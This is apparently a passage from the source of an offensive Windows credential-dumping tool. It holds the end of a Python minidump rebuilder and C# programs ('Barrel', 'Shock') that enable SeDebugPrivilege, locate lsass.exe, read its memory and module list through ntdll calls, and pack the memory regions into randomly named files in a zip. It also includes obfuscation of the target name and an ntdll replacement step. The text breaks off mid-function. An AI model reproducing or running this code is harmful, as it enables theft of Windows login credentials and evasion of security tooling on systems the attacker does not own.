print(" |_|_| |_|\\___|_|\\_\\_____/ \\__,_|_| |_| |_| .__/ ") 130 | print(" | | ") 131 | print(" by @ricardojoserf |_| ") 132 | print("") 133 | 134 | 135 | def main(): 136 | args = get_args() 137 | lock_file = args.lock_json 138 | shock_file = args.shock_json 139 | barrel_file = args.barrel_json 140 | memory_files = args.barrel_zip 141 | output_file = args.output_file 142 | 143 | show_banner() 144 | 145 | # Generate JSON object from file 146 | if os.path.exists(lock_file): 147 | lock_json = json.loads(open(lock_file).read().splitlines()[0])[0] 148 | else: 149 | print("[-] File " + lock_file + " not found") 150 | sys.exit(0) 151 | if os.path.exists(shock_file): 152 | shock_json = json.loads(open(shock_file).read().splitlines()[0]) 153 | shock_json = [obj for obj in shock_json if obj.get('field0') != ""] 154 | else: 155 | print("[-] File " + shock_file + " not found") 156 | sys.exit(0) 157 | if os.path.exists(barrel_file): 158 | barrel_json = json.loads(open(barrel_file).read().splitlines()[0]) 159 | else: 160 | print("[-] File " + barrel_file + " not found") 161 | sys.exit(0) 162 | if not os.path.exists(memory_files): 163 | print("[-] File or Directory " + memory_files + " not found") 164 | sys.exit(0) 165 | 166 | dump_file = get_dump_bytearr(lock_json, shock_json, barrel_json, memory_files) 167 | create_file(output_file, dump_file) 168 | print("[+] Dump file " + output_file + " created ") 169 | 170 | 171 | if __name__ == "__main__": 172 | main() -------------------------------------------------------------------------------- /Barrel/Program.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.IO; 3 | using System.Linq; 4 | using System.Diagnostics; 5 | using System.IO.Compression; 6 | using System.Collections.Generic; 7 | using System.Runtime.InteropServices; 8 | using static Barrel.NT; 9 | using System.Collections; 10 | using System.Text; 11 | 12 | 13 | namespace Barrel 14 | { 15 | internal class Program 16 | { 17 | // Constants 18 | public const int MEM_COMMIT = 0x00001000; 19 | public const int PAGE_NOACCESS = 0x01; 20 | public const uint MemoryBasicInformation = 0; 21 | public const uint TOKEN_QUERY = 0x00000008; 22 | public const uint TOKEN_ADJUST_PRIVILEGES = 0x00000020; 23 | 24 | // Functions 25 | [DllImport("ntdll.dll")] public static extern uint NtOpenProcessToken(IntPtr ProcessHandle, uint DesiredAccess, ref IntPtr TokenHandle); 26 | 27 | [DllImport("ntdll.dll")] public static extern uint NtAdjustPrivilegesToken(IntPtr TokenHandle, bool DisableAllPrivileges, ref TOKEN_PRIVILEGES NewState, uint BufferLength, IntPtr PreviousState, IntPtr ReturnLength); 28 | 29 | [DllImport("ntdll.dll")] public static extern uint NtClose(IntPtr hObject); 30 | 31 | [DllImport("ntdll.dll")] public static extern bool NtGetNextProcess(IntPtr handle, int MAX_ALLOWED, int param3, int param4, out IntPtr outHandle); 32 | 33 | [DllImport("ntdll.dll", SetLastError = true)] public static extern uint NtQueryInformationProcess(IntPtr processHandle, int processInformationClass, IntPtr pbi, uint processInformationLength, out uint returnLength); 34 | 35 | [DllImport("ntdll.dll")] public static extern uint NtQueryVirtualMemory(IntPtr hProcess, IntPtr lpAddress, uint MemoryInformationClass, out MEMORY_BASIC_INFORMATION MemoryInformation, uint MemoryInformationLength, out uint ReturnLength); 36 | 37 | [DllImport("ntdll.dll")] public static extern uint NtReadVirtualMemory(IntPtr hProcess, IntPtr lpBaseAddress, [Out] byte[] lpBuffer, int dwSize, out IntPtr lpNumberOfBytesRead); 38 | 39 | // Structures 40 | [StructLayout(LayoutKind.Sequential)] public struct TOKEN_PRIVILEGES { public uint PrivilegeCount; public LUID Luid; public uint Attributes; } 41 | 42 | [StructLayout(LayoutKind.Sequential)] public struct LUID { public uint LowPart; public int HighPart; } 43 | 44 | [StructLayout(LayoutKind.Sequential)] public struct MEMORY_BASIC_INFORMATION { public IntPtr BaseAddress; public IntPtr AllocationBase; public int AllocationProtect; public IntPtr RegionSize; public int State; public int Protect; public int Type; } 45 | 46 | // Custom Class 47 | public class MemFile 48 | { 49 | public string filename; 50 | public byte[] content; 51 | public MemFile(string filename, byte[] content) 52 | { 53 | this.filename = filename; 54 | this.content = content; 55 | } 56 | } 57 | 58 | 59 | static void EnableDebugPrivileges() 60 | { 61 | IntPtr currentProcess = Process.GetCurrentProcess().Handle; 62 | IntPtr tokenHandle = IntPtr.Zero; 63 | try 64 | { 65 | uint ntstatus = NtOpenProcessToken(currentProcess, TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, ref tokenHandle); 66 | if (ntstatus != 0) 67 | { 68 | Console.WriteLine("[-] Error calling NtOpenProcessToken. NTSTATUS: 0x" + ntstatus.ToString("X")); 69 | Environment.Exit(-1); 70 | } 71 | 72 | TOKEN_PRIVILEGES tokenPrivileges = new TOKEN_PRIVILEGES 73 | { 74 | PrivilegeCount = 1, 75 | Luid = new LUID { LowPart = 20, HighPart = 0 }, // LookupPrivilegeValue(null, "SeDebugPrivilege", ref luid); 76 | Attributes = 0x00000002 77 | }; 78 | 79 | ntstatus = NtAdjustPrivilegesToken(tokenHandle, false, ref tokenPrivileges, (uint)Marshal.SizeOf(typeof(TOKEN_PRIVILEGES)), IntPtr.Zero, IntPtr.Zero); 80 | if (ntstatus != 0) 81 | { 82 | Console.WriteLine("[-] Error calling NtAdjustPrivilegesToken. NTSTATUS: 0x" + ntstatus.ToString("X") + ". Maybe you need to calculate the LowPart of the LUID using LookupPrivilegeValue"); 83 | Environment.Exit(-1); 84 | } 85 | } 86 | finally 87 | { 88 | if (tokenHandle != IntPtr.Zero) 89 | { 90 | NtClose(tokenHandle); 91 | } 92 | } 93 | } 94 | 95 | 96 | static string getRandomString(int length, Random random) 97 | { 98 | const string chars = "abcdefghijklmnopqrstuvwxyz0123456789"; 99 | System.Text.StringBuilder stringBuilder = new System.Text.StringBuilder(); 100 | for (int i = 0; i < length; i++) 101 | { 102 | int index = random.Next(chars.Length); 103 | stringBuilder.Append(chars[index]); 104 | } 105 | return stringBuilder.ToString(); 106 | } 107 | 108 | 109 | public static string ToJson(string[] array) 110 | { 111 | string json_str = "{"; 112 | for (int i = 0; i < array.Length; i++) 113 | { 114 | json_str += "\"field" + i.ToString() + "\" : \"" + array[i] + "\" , "; 115 | } 116 | return (json_str.Substring(0, json_str.Length - 3) + "}"); 117 | } 118 | 119 | 120 | public static string ToJsonArray(string[] array) 121 | { 122 | string json_str = "["; 123 | for (int i = 0; i < array.Length; i++) 124 | { 125 | json_str += array[i] + ", "; 126 | } 127 | return (json_str.Substring(0, json_str.Length - 2) + "]"); 128 | } 129 | 130 | 131 | static void WriteToFile(string path, string content) 132 | { 133 | System.IO.File.WriteAllText(path, content); 134 | Console.WriteLine("[+] File " + path + " generated."); 135 | } 136 | 137 | 138 | public static IntPtr ReadRemoteIntPtr(IntPtr hProcess, IntPtr mem_address) 139 | { 140 | byte[] buff = new byte[8]; 141 | uint ntstatus = NtReadVirtualMemory(hProcess, mem_address, buff, buff.Length, out _); 142 | if (ntstatus != 0 && ntstatus != 0xC0000005 && ntstatus != 0x8000000D && hProcess != IntPtr.Zero) 143 | { 144 | Console.WriteLine("[-] Error calling NtReadVirtualMemory (ReadRemoteIntPtr). NTSTATUS: 0x" + ntstatus.ToString("X") + " reading address 0x" + mem_address.ToString("X")); 145 | } 146 | long value = BitConverter.ToInt64(buff, 0); 147 | return (IntPtr)value; 148 | } 149 | 150 | 151 | public static string ReadRemoteWStr(IntPtr hProcess, IntPtr mem_address) 152 | { 153 | byte[] buff = new byte[256]; 154 | uint ntstatus = NtReadVirtualMemory(hProcess, mem_address, buff, buff.Length, out _); 155 | if (ntstatus != 0 && ntstatus != 0xC0000005 && ntstatus != 0x8000000D && hProcess != IntPtr.Zero) 156 | { 157 | Console.WriteLine("[-] Error calling NtReadVirtualMemory (ReadRemoteWStr). NTSTATUS: 0x" + ntstatus.ToString("X") + " reading address 0x" + mem_address.ToString("X")); 158 | } 159 | string unicode_str = ""; 160 | for (int i = 0; i < buff.Length - 1; i += 2) 161 | { 162 | if (buff[i] == 0 && buff[i + 1] == 0) { break; } 163 | unicode_str += BitConverter.ToChar(buff, i); 164 | } 165 | return unicode_str; 166 | } 167 | 168 | 169 | public static IntPtr GetProcessByName(string proc_name) 170 | { 171 | IntPtr aux_handle = IntPtr.Zero; 172 | int MAXIMUM_ALLOWED = 0x02000000; 173 | 174 | while (!NtGetNextProcess(aux_handle, MAXIMUM_ALLOWED, 0, 0, out aux_handle)) 175 | { 176 | string current_proc_name = GetProcNameFromHandle(aux_handle).ToLower(); 177 | if (current_proc_name == proc_name) 178 | { 179 | return aux_handle; 180 | } 181 | } 182 | return IntPtr.Zero; 183 | } 184 | 185 | 186 | unsafe static string GetProcNameFromHandle(IntPtr process_handle) 187 | { 188 | uint process_basic_information_size = 48; 189 | int peb_offset = 0x8; 190 | int commandline_offset = 0x68; 191 | 192 | // Create byte array with the size of the PROCESS_BASIC_INFORMATION structure 193 | byte[] pbi_byte_array = new byte[process_basic_information_size]; 194 | 195 | // Create a PROCESS_BASIC_INFORMATION structure in the byte array 196 | IntPtr pbi_addr = IntPtr.Zero; 197 | fixed (byte* p = pbi_byte_array) 198 | { 199 | pbi_addr = (IntPtr)p; 200 | 201 | uint ntstatus = NtQueryInformationProcess(process_handle, 0x0, pbi_addr, process_basic_information_size, out uint ReturnLength); 202 | if (ntstatus != 0) 203 | { 204 | Console.WriteLine("[-] Error calling NtQueryInformationProcess. NTSTATUS: 0x" + ntstatus.ToString("X")); 205 | } 206 | } 207 | 208 | // Get PEB Base Address 209 | IntPtr peb_pointer = pbi_addr + peb_offset; 210 | IntPtr pebaddress = Marshal.ReadIntPtr(peb_pointer); 211 | 212 | // Get PEB->ProcessParameters 213 | int processparameters_offset = 0x20; 214 | IntPtr processparameters_pointer = pebaddress + processparameters_offset; 215 | 216 | // Get ProcessParameters->CommandLine 217 | IntPtr processparameters_adress = ReadRemoteIntPtr(process_handle, processparameters_pointer); 218 | IntPtr commandline_pointer = processparameters_adress + commandline_offset; 219 | IntPtr commandline_address = ReadRemoteIntPtr(process_handle, commandline_pointer); 220 | string commandline_value = ReadRemoteWStr(process_handle, commandline_address); 221 | return commandline_value; 222 | } 223 | 224 | 225 | public static void GenerateZip(string zipFilePath, List memfile_list) 226 | { 227 | // Check it exists, delete if it does 228 | if (File.Exists(zipFilePath)) { File.Delete(zipFilePath); } 229 | 230 | using (FileStream zipFileStream = new FileStream(zipFilePath, FileMode.Create)) 231 | { 232 | using (ZipArchive archive = new ZipArchive(zipFileStream, ZipArchiveMode.Create, true)) 233 | { 234 | foreach (MemFile m in memfile_list) 235 | { 236 | ZipArchiveEntry entry = archive.CreateEntry(m.filename, CompressionLevel.Fastest); 237 | using (Stream entryStream = entry.Open()) 238 | { 239 | entryStream.Write(m.content, 0, m.content.Length); 240 | } 241 | } 242 | } 243 | } 244 | Console.WriteLine("[+] File " + zipFilePath + " generated."); 245 | } 246 | 247 | 248 | // Source: https://github.com/ricardojoserf/SharpObfuscate 249 | static byte[] getBytesFromIPv4(string ipv4_str) 250 | { 251 | int ipv4_size = 4; 252 | byte[] ipv4_bytes = new byte[ipv4_size]; 253 | List Ipv4Vals = ipv4_str.Split('.').Select(int.Parse).ToList(); 254 | for (int i = 0; i < ipv4_size; i++) 255 | { 256 | ipv4_bytes[i] = (byte)(Ipv4Vals[i]); 257 | } 258 | return ipv4_bytes; 259 | } 260 | 261 | 262 | // Source: https://github.com/ricardojoserf/SharpObfuscate 263 | public static byte[] ToByteArray(String hexString) 264 | { 265 | // In case the string length is odd 266 | if (hexString.Length % 2 == 1) 267 | { 268 | Console.WriteLine("[-] Hexadecimal value length is odd, adding a 0."); 269 | hexString += "0"; 270 | } 271 | byte[] retval = new byte[hexString.Length / 2]; 272 | for (int i = 0; i < hexString.Length; i += 2) 273 | retval[i / 2] = Convert.ToByte(hexString.Substring(i, 2), 16); 274 | return retval; 275 | } 276 | 277 | 278 | // Source: https://github.com/ricardojoserf/SharpObfuscate 279 | static string decodeIPv4(List ipv4_str_list) 280 | { 281 | int ipv4_size = 4; 282 | string total_bytes_str = ""; 283 | foreach (string ipv4_str in ipv4_str_list) 284 | { 285 | byte[] ipv4_bytes = getBytesFromIPv4(ipv4_str); 286 | for (int i = 0; i < ipv4_size; i++) 287 | { 288 | total_bytes_str += ipv4_bytes[i].ToString("X2"); 289 | } 290 | } 291 | return Encoding.UTF8.GetString(ToByteArray(total_bytes_str)).TrimEnd('\0'); 292 | } 293 | 294 | 295 | static void Barrel(string json_filename, string zip_filename) { 296 | // Random seed 297 | Random random = new Random(); 298 | 299 | // Get SeDebugPrivilege 300 | EnableDebugPrivileges(); 301 | 302 | // Decode process name (C:\\WINDOWS\\system32\\lsass.exe) 303 | // List process_name_ipv4_encoded = new List { "67.58.92.87", "73.78.68.79", "87.83.92.115", "121.115.116.101", "109.51.50.92", "108.115.97.115", "115.46.101.120", "101.0.0.0" }; 304 | // string proc_name = decodeIPv4(process_name_ipv4_encoded); 305 | string proc_name = "c:\\windows\\system32\\lsass.exe"; 306 | 307 | // Get process handle 308 | IntPtr processHandle = GetProcessByName(proc_name); 309 | Console.WriteLine("[+] Process handle: \t\t\t\t" + processHandle); 310 | if (processHandle == IntPtr.Zero) 311 | { 312 | Console.WriteLine("[-] It was not possible to get a process handle. If you get 0xC0000022 errors probably PEB is unreadable."); 313 | Environment.Exit(-1); 314 | } 315 | 316 | // Loop the memory regions 317 | long proc_max_address_l = (long)0x7FFFFFFEFFFF; 318 | IntPtr aux_address = IntPtr.Zero; 319 | List memfile_list = new List { }; 320 | string[] aux_array_1 = { }; 321 | while ((long)aux_address < proc_max_address_l) 322 | { 323 | // Populate MEMORY_BASIC_INFORMATION struct calling VirtualQueryEx/NtQueryVirtualMemory 324 | MEMORY_BASIC_INFORMATION mbi = new MEMORY_BASIC_INFORMATION(); 325 | NtQueryVirtualMemory(processHandle, aux_address, MemoryBasicInformation, out mbi, 0x30, out _); 326 | 327 | // If readable and committed -> Write memory region to a file 328 | if (mbi.Protect != PAGE_NOACCESS && mbi.State == MEM_COMMIT) 329 | { 330 | byte[] buffer = new byte[(int)mbi.RegionSize]; 331 | NtReadVirtualMemory(processHandle, mbi.BaseAddress, buffer, (int)mbi.RegionSize, out _); 332 | string memdump_filename = getRandomString(10, random) + "." + getRandomString(3, random); 333 | 334 | // Add to JSON file 335 | string[] aux_array_2 = { memdump_filename, "0x" + aux_address.ToString("X"), mbi.RegionSize.ToString() }; 336 | aux_array_1 = aux_array_1.Concat(new string[] { ToJson(aux_array_2) }).ToArray(); 337 | 338 | // Add to global byte array 339 | MemFile memFile = new MemFile(memdump_filename, buffer); 340 | memfile_list.Add(memFile); 341 | } 342 | // Next memory region 343 | aux_address = (IntPtr)((ulong)aux_address + (ulong)mbi.RegionSize); 344 | } 345 | // Close process handle 346 | NtClose(processHandle); 347 | 348 | // Write JSON file 349 | string barrel_json_content = ToJsonArray(aux_array_1); 350 | WriteToFile(json_filename, barrel_json_content); 351 | GenerateZip(zip_filename, memfile_list); 352 | } 353 | 354 | 355 | static void Main(string[] args) 356 | { 357 | // Check binary is correctly compiled 358 | if (!Environment.Is64BitProcess) 359 | { 360 | Console.WriteLine("[-] File must be compiled as 64-byte binary."); 361 | Environment.Exit(-1); 362 | } 363 | 364 | // Replace ntdll library 365 | string option = ""; 366 | string wildcard_option = ""; 367 | if (args.Length >= 1) 368 | { 369 | option = args[0]; 370 | } 371 | if (args.Length >= 2) 372 | { 373 | wildcard_option = args[1]; 374 | } 375 | ReplaceLibrary(option, wildcard_option); 376 | 377 | // Get Mem64List information + Dump memory regions. Arguments: Name of JSON file 378 | string json_file = "barrel.json"; 379 | string zip_file = "barrel.zip"; 380 | Barrel(json_file, zip_file); 381 | } 382 | } 383 | } -------------------------------------------------------------------------------- /Shock/Program.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Linq; 3 | using System.Diagnostics; 4 | using System.Collections.Generic; 5 | using System.Runtime.InteropServices; 6 | using static Shock.NT; 7 | using System.Text; 8 | 9 | 10 | namespace Shock 11 | { 12 | internal class Program 13 | { 14 | // Constants 15 | public const uint TOKEN_ADJUST_PRIVILEGES = 0x00000020; 16 | public const uint TOKEN_QUERY = 0x00000008; 17 | public const uint MemoryBasicInformation = 0; 18 | public const int MEM_COMMIT = 0x00001000; 19 | public const int PAGE_NOACCESS = 0x01; 20 | 21 | // Functions 22 | [DllImport("ntdll.dll")] public static extern uint NtOpenProcessToken(IntPtr ProcessHandle, uint DesiredAccess, ref IntPtr TokenHandle); 23 | 24 | [DllImport("ntdll.dll")] public static extern uint NtAdjustPrivilegesToken(IntPtr TokenHandle, bool DisableAllPrivileges, ref TOKEN_PRIVILEGES NewState, uint BufferLength, IntPtr PreviousState, IntPtr ReturnLength); 25 | 26 | [DllImport("ntdll.dll")] public static extern uint NtClose(IntPtr hObject); 27 | 28 | [DllImport("ntdll.dll")] public static extern bool NtGetNextProcess(IntPtr handle, int MAX_ALLOWED, int param3, int param4, out IntPtr outHandle); 29 | 30 | [DllImport("ntdll.dll", SetLastError = true)] public static extern uint NtQueryInformationProcess(IntPtr processHandle, int processInformationClass, IntPtr pbi, uint processInformationLength, out uint returnLength); 31 | 32 | [DllImport("ntdll.dll")] public static extern uint NtQueryVirtualMemory(IntPtr hProcess, IntPtr lpAddress, uint MemoryInformationClass, out MEMORY_BASIC_INFORMATION MemoryInformation, uint MemoryInformationLength, out uint ReturnLength); 33 | 34 | [DllImport("ntdll.dll")] public static extern uint NtReadVirtualMemory(IntPtr hProcess, IntPtr lpBaseAddress, [Out] byte[] lpBuffer, int dwSize, out IntPtr lpNumberOfBytesRead); 35 | 36 | // Structures 37 | [StructLayout(LayoutKind.Sequential)] public struct TOKEN_PRIVILEGES { public uint PrivilegeCount; public LUID Luid; public uint Attributes; } 38 | 39 | [StructLayout(LayoutKind.Sequential)] public struct LUID { public uint LowPart; public int HighPart; } 40 | 41 | [StructLayout(LayoutKind.Sequential)] public struct MEMORY_BASIC_INFORMATION { public IntPtr BaseAddress; public IntPtr AllocationBase; public int AllocationProtect; public IntPtr RegionSize; public int State; public int Protect; public int Type; } 42 | 43 | // Custom class 44 | public class ModuleInformation 45 | { 46 | public string Name; 47 | public string FullPath; 48 | public IntPtr Address; 49 | public int Size; 50 | public ModuleInformation(string name, string fullpath, IntPtr address, int size) 51 | { 52 | this.Name = name; 53 | this.FullPath = fullpath; 54 | this.Address = address; 55 | this.Size = size; 56 | } 57 | } 58 | 59 | 60 | static void EnableDebugPrivileges() 61 | { 62 | IntPtr currentProcess = Process.GetCurrentProcess().Handle; 63 | IntPtr tokenHandle = IntPtr.Zero; 64 | try 65 | { 66 | uint ntstatus = NtOpenProcessToken(currentProcess, TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, ref tokenHandle); 67 | if (ntstatus != 0) 68 | { 69 | Console.WriteLine("[-] Error calling NtOpenProcessToken. NTSTATUS: 0x" + ntstatus.ToString("X")); 70 | Environment.Exit(-1); 71 | } 72 | 73 | TOKEN_PRIVILEGES tokenPrivileges = new TOKEN_PRIVILEGES 74 | { 75 | PrivilegeCount = 1, 76 | Luid = new LUID { LowPart = 20, HighPart = 0 }, // LookupPrivilegeValue(null, "SeDebugPrivilege", ref luid); 77 | Attributes = 0x00000002 78 | }; 79 | 80 | ntstatus = NtAdjustPrivilegesToken(tokenHandle, false, ref tokenPrivileges, (uint)Marshal.SizeOf(typeof(TOKEN_PRIVILEGES)), IntPtr.Zero, IntPtr.Zero); 81 | if (ntstatus != 0) 82 | { 83 | Console.WriteLine("[-] Error calling NtAdjustPrivilegesToken. NTSTATUS: 0x" + ntstatus.ToString("X") + ". Maybe you need to calculate the LowPart of the LUID using LookupPrivilegeValue"); 84 | Environment.Exit(-1); 85 | } 86 | } 87 | finally 88 | { 89 | if (tokenHandle != IntPtr.Zero) 90 | { 91 | NtClose(tokenHandle); 92 | } 93 | } 94 | } 95 | 96 | 97 | public static IntPtr ReadRemoteIntPtr(IntPtr hProcess, IntPtr mem_address) 98 | { 99 | byte[] buff = new byte[8]; 100 | uint ntstatus = NtReadVirtualMemory(hProcess, mem_address, buff, buff.Length, out _); 101 | if (ntstatus != 0 && ntstatus != 0xC0000005 && ntstatus != 0x8000000D && hProcess != IntPtr.Zero) 102 | { 103 | Console.WriteLine("[-] Error calling NtReadVirtualMemory (ReadRemoteIntPtr). NTSTATUS: 0x" + ntstatus.ToString("X") + " reading address 0x" + mem_address.ToString("X")); 104 | } 105 | long value = BitConverter.ToInt64(buff, 0); 106 | return (IntPtr)value; 107 | } 108 | 109 | 110 | public static string ReadRemoteWStr(IntPtr hProcess, IntPtr mem_address) 111 | { 112 | byte[] buff = new byte[256]; 113 | uint ntstatus = NtReadVirtualMemory(hProcess, mem_address, buff, buff.Length, out _); 114 | if (ntstatus != 0 && ntstatus != 0xC0000005 && ntstatus != 0x8000000D && hProcess != IntPtr.Zero) 115 | { 116 | Console.WriteLine("[-] Error calling NtReadVirtualMemory (ReadRemoteWStr). NTSTATUS: 0x" + ntstatus.ToString("X") + " reading address 0x" + mem_address.ToString("X")); 117 | } 118 | string unicode_str = ""; 119 | for (int i = 0; i < buff.Length - 1; i += 2) 120 | { 121 | if (buff[i] == 0 && buff[i + 1] == 0) { break; } 122 | unicode_str += BitConverter.ToChar(buff, i); 123 | } 124 | return unicode_str; 125 | } 126 | 127 | 128 | public unsafe static List CustomGetModuleHandle(IntPtr hProcess) 129 | { 130 | List moduleInformationList = new List(); 131 | 132 | uint process_basic_information_size = 48; 133 | int peb_offset = 0x8; 134 | int ldr_offset = 0x18; 135 | int inInitializationOrderModuleList_offset = 0x30; 136 | int flink_dllbase_offset = 0x20; 137 | int flink_buffer_fulldllname_offset = 0x40; 138 | int flink_buffer_offset = 0x50; 139 | 140 | // Create byte array with the size of the PROCESS_BASIC_INFORMATION structure 141 | byte[] pbi_byte_array = new byte[process_basic_information_size]; 142 | 143 | // Create a PROCESS_BASIC_INFORMATION structure in the byte array 144 | IntPtr pbi_addr = IntPtr.Zero; 145 | fixed (byte* p = pbi_byte_array) 146 | { 147 | pbi_addr = (IntPtr)p; 148 | 149 | uint ntstatus = NtQueryInformationProcess(hProcess, 0x0, pbi_addr, process_basic_information_size, out uint ReturnLength); 150 | if (ntstatus != 0) 151 | { 152 | Console.WriteLine("[-] Error calling NtQueryInformationProcess. NTSTATUS: 0x" + ntstatus.ToString("X")); 153 | } 154 | } 155 | 156 | // Get PEB Base Address 157 | IntPtr peb_pointer = pbi_addr + peb_offset; 158 | IntPtr pebaddress = Marshal.ReadIntPtr(peb_pointer); 159 | 160 | // Get Ldr 161 | IntPtr ldr_pointer = pebaddress + ldr_offset; 162 | IntPtr ldr_adress = ReadRemoteIntPtr(hProcess, ldr_pointer); 163 | 164 | IntPtr InInitializationOrderModuleList = ldr_adress + inInitializationOrderModuleList_offset; 165 | IntPtr next_flink = ReadRemoteIntPtr(hProcess, InInitializationOrderModuleList); 166 | 167 | IntPtr dll_base = (IntPtr)1337; 168 | while (dll_base != IntPtr.Zero) 169 | { 170 | next_flink = next_flink - 0x10; 171 | // Get DLL base address 172 | dll_base = ReadRemoteIntPtr(hProcess, (next_flink + flink_dllbase_offset)); 173 | IntPtr buffer = ReadRemoteIntPtr(hProcess, (next_flink + flink_buffer_offset)); 174 | // DLL base name 175 | string base_dll_name = ""; 176 | if (buffer != IntPtr.Zero) { 177 | base_dll_name = ReadRemoteWStr(hProcess, buffer); 178 | } 179 | // DLL full path 180 | string full_dll_path = ReadRemoteWStr(hProcess, ReadRemoteIntPtr(hProcess, (next_flink + flink_buffer_fulldllname_offset))); 181 | 182 | moduleInformationList.Add(new ModuleInformation(base_dll_name.ToLower(), full_dll_path, dll_base, 0)); 183 | next_flink = ReadRemoteIntPtr(hProcess, (next_flink + 0x10)); 184 | } 185 | return moduleInformationList; 186 | } 187 | 188 | 189 | public static string ToJson(string[] array) 190 | { 191 | string json_str = "{"; 192 | for (int i = 0; i < array.Length; i++) 193 | { 194 | json_str += "\"field" + i.ToString() + "\" : \"" + array[i] + "\" , "; 195 | } 196 | return (json_str.Substring(0, json_str.Length - 3) + "}"); 197 | } 198 | 199 | 200 | public static string ToJsonArray(string[] array) 201 | { 202 | string json_str = "["; 203 | for (int i = 0; i < array.Length; i++) 204 | { 205 | json_str += array[i] + ", "; 206 | } 207 | return (json_str.Substring(0, json_str.Length - 2) + "]"); 208 | } 209 | 210 | 211 | static void WriteToFile(string path, string content) 212 | { 213 | System.IO.File.WriteAllText(path, content); 214 | Console.WriteLine("[+] File " + path + " generated."); 215 | } 216 | 217 | 218 | public static IntPtr GetProcessByName(string proc_name) 219 | { 220 | IntPtr aux_handle = IntPtr.Zero; 221 | int MAXIMUM_ALLOWED = 0x02000000; 222 | 223 | while (!NtGetNextProcess(aux_handle, MAXIMUM_ALLOWED, 0, 0, out aux_handle)) 224 | { 225 | string current_proc_name = GetProcNameFromHandle(aux_handle).ToLower(); 226 | if (current_proc_name == proc_name) { 227 | return aux_handle; 228 | } 229 | } 230 | return IntPtr.Zero; 231 | } 232 | 233 | 234 | unsafe static string GetProcNameFromHandle(IntPtr process_handle) { 235 | uint process_basic_information_size = 48; 236 | int peb_offset = 0x8; 237 | int commandline_offset = 0x68; 238 | 239 | // Create byte array with the size of the PROCESS_BASIC_INFORMATION structure 240 | byte[] pbi_byte_array = new byte[process_basic_information_size]; 241 | 242 | // Create a PROCESS_BASIC_INFORMATION structure in the byte array 243 | IntPtr pbi_addr = IntPtr.Zero; 244 | fixed (byte* p = pbi_byte_array) 245 | { 246 | pbi_addr = (IntPtr)p; 247 | 248 | uint ntstatus = NtQueryInformationProcess(process_handle, 0x0, pbi_addr, process_basic_information_size, out uint ReturnLength); 249 | if (ntstatus != 0) 250 | { 251 | Console.WriteLine("[-] Error calling NtQueryInformationProcess. NTSTATUS: 0x" + ntstatus.ToString("X")); 252 | } 253 | } 254 | 255 | // Get PEB Base Address 256 | IntPtr peb_pointer = pbi_addr + peb_offset; 257 | IntPtr pebaddress = Marshal.ReadIntPtr(peb_pointer); 258 | 259 | // Get PEB->ProcessParameters 260 | int processparameters_offset = 0x20; 261 | IntPtr processparameters_pointer = pebaddress + processparameters_offset; 262 | 263 | // Get ProcessParameters->CommandLine 264 | IntPtr processparameters_adress = ReadRemoteIntPtr(process_handle, processparameters_pointer); 265 | IntPtr commandline_pointer = processparameters_adress + commandline_offset; 266 | IntPtr commandline_address = ReadRemoteIntPtr(process_handle, commandline_pointer); 267 | string commandline_value = ReadRemoteWStr(process_handle, commandline_address); 268 | 269 | /* Console.WriteLine("pebaddress: \t\t0x" + pebaddress.ToString("X")); 270 | Console.WriteLine("processparameters_pointer: \t\t0x" + processparameters_pointer.ToString("X")); 271 | Console.WriteLine("processparameters_adress : \t\t0x" + processparameters_adress.ToString("X")); 272 | Console.WriteLine("commandline_pointer:\t\t0x" + commandline_pointer.ToString("X")); 273 | Console.WriteLine("commandline_address:\t\t0x" + commandline_address.ToString("X")); */ 274 | 275 | return commandline_value; 276 | } 277 | 278 | 279 | // Source: https://github.com/ricardojoserf/SharpObfuscate 280 | static byte[] getBytesFromIPv4(string ipv4_str) 281 | { 282 | int ipv4_size = 4; 283 | byte[] ipv4_bytes = new byte[ipv4_size]; 284 | List Ipv4Vals = ipv4_str.Split('.').Select(int.Parse).ToList(); 285 | for (int i = 0; i < ipv4_size; i++) 286 | { 287 | ipv4_bytes[i] = (byte)(Ipv4Vals[i]); 288 | } 289 | return ipv4_bytes; 290 | } 291 | 292 | 293 | // Source: https://github.com/ricardojoserf/SharpObfuscate 294 | public static byte[] ToByteArray(String hexString) 295 | { 296 | // In case the string length is odd 297 | if (hexString.Length % 2 == 1) 298 | { 299 | Console.WriteLine("[-] Hexadecimal value length is odd, adding a 0."); 300 | hexString += "0"; 301 | } 302 | byte[] retval = new byte[hexString.Length / 2]; 303 | for (int i = 0; i < hexString.Length; i += 2) 304 | retval[i / 2] = Convert.ToByte(hexString.Substring(i, 2), 16); 305 | return retval; 306 | } 307 | 308 | 309 | // Source: https://github.com/ricardojoserf/SharpObfuscate 310 | static string decodeIPv4(List ipv4_str_list) 311 | { 312 | int ipv4_size = 4; 313 | string total_bytes_str = ""; 314 | foreach (string ipv4_str in ipv4_str_list) 315 | { 316 | byte[] ipv4_bytes = getBytesFromIPv4(ipv4_str); 317 | for (int i = 0; i < ipv4_size; i++) 318 | { 319 | total_bytes_str += ipv4_bytes[i].ToString("X2"); 320 | } 321 | } 322 | return Encoding.UTF8.GetString(ToByteArray(total_bytes_str)).TrimEnd('\0'); 323 | } 324 | 325 | 326 | static void Shock(string file_name) { 327 | // Get SeDebugPrivilege 328 | EnableDebugPrivileges(); 329 | 330 | // Decode process name (C:\\WINDOWS\\system32\\lsass.exe) 331 | // List process_name_ipv4_encoded = new List { "67.58.92.87", "73.78.68.79", "87.83.92.115", "121.115.116.101", "109.51.50.92", "108.115.97.115", "115.46.101.120", "101.0.0.0" }; 332 | // string proc_name = decodeIPv4(process_name_ipv4_encoded); 333 | string proc_name = "c:\\windows\\system32\\lsass.exe"; 334 | 335 | // Get process handle 336 | IntPtr processHandle = GetProcessByName(proc_name); 337 | Console.WriteLine("[+] Process handle: \t\t\t\t" + processHandle); 338 | if (processHandle == IntPtr.Zero) { 339 | Console.WriteLine("[-] It was not possible to get a process handle. If you get 0xC0000022 errors probably PEB is unreadable."); 340 | Environment.Exit(-1); 341 | } 342 | 343 | // List to get modules information 344 | List moduleInformationList = CustomGetModuleHandle(processHandle); 345 | 346 | // Loop the memory regions 347 | long proc_max_address_l = (long)0x7FFFFFFEFFFF; 348 | IntPtr mem_address = IntPtr.Zero; 349 | int aux_size = 0; 350 | string aux_name = ""; 351 | 352 | while ((long)mem_address < proc_max_address_l) 353 | { 354 | // Populate 